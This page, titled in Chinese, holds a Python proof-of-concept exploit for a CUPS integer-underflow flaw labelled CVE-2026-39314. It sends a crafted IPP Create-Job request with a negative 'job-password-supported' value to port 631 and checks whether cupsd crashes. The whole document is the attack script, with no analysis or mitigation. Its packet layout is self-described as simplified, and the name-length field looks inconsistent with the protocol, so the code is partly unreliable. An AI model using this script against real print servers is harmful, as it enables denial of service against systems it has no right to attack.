CVE-2026-39314 OpenPrinting CUPS 整数下溢漏洞

import socket # PoC for CVE-2026-39314 # Description: Triggers integer underflow in CUPS _ppdCreateFromIPP() # by sending a negative value for 'job-password-supported'. TARGET_HOST = "127.0.0.1" TARGET_PORT = 631 def create_malicious_ipp_packet(): # IPP Header (Simplified) # Version: 0x0201 (IPP 2.1) # Operation ID: 0x0005 (Create-Job) # Request ID: 1 version = b'\x02\x01' op_id = b'\x00\x05' req_id = b'\x00\x00\x00\x01' # Attribute Group: Operations Attributes (0x01) # We inject the malicious attribute here # Tag for Integer value: 0x21 # Attribute Name: job-password-supported # Value: -1 (0xFFFFFFFF) payload = version + op_id + req_id # Start Operations Attributes Group payload += b'\x01' # Malicious Attribute Construction attr_name = b'job-password-supported' payload += b'\x21' # Integer Tag payload += bytes([len(attr_name)]) + attr_name # Name payload += b'\x00\x04' # Value Length (4 bytes) payload += b'\xff\xff\xff\xff' # Value: -1 # End of Attributes Tag payload += b'\x03' # Wrap in HTTP (IPP runs over HTTP) http_data = ( f"POST / HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" f"Content-Type: application/ipp\r\n" f"Content-Length: {len(payload)}\r\n" f"\r\n" ).encode() return http_data + payload def send_exploit(): try: print(f"[*] Sending exploit to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) packet = create_malicious_ipp_packet() s.send(packet) s.close() print("[+] Exploit sent. Check if cupsd crashed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()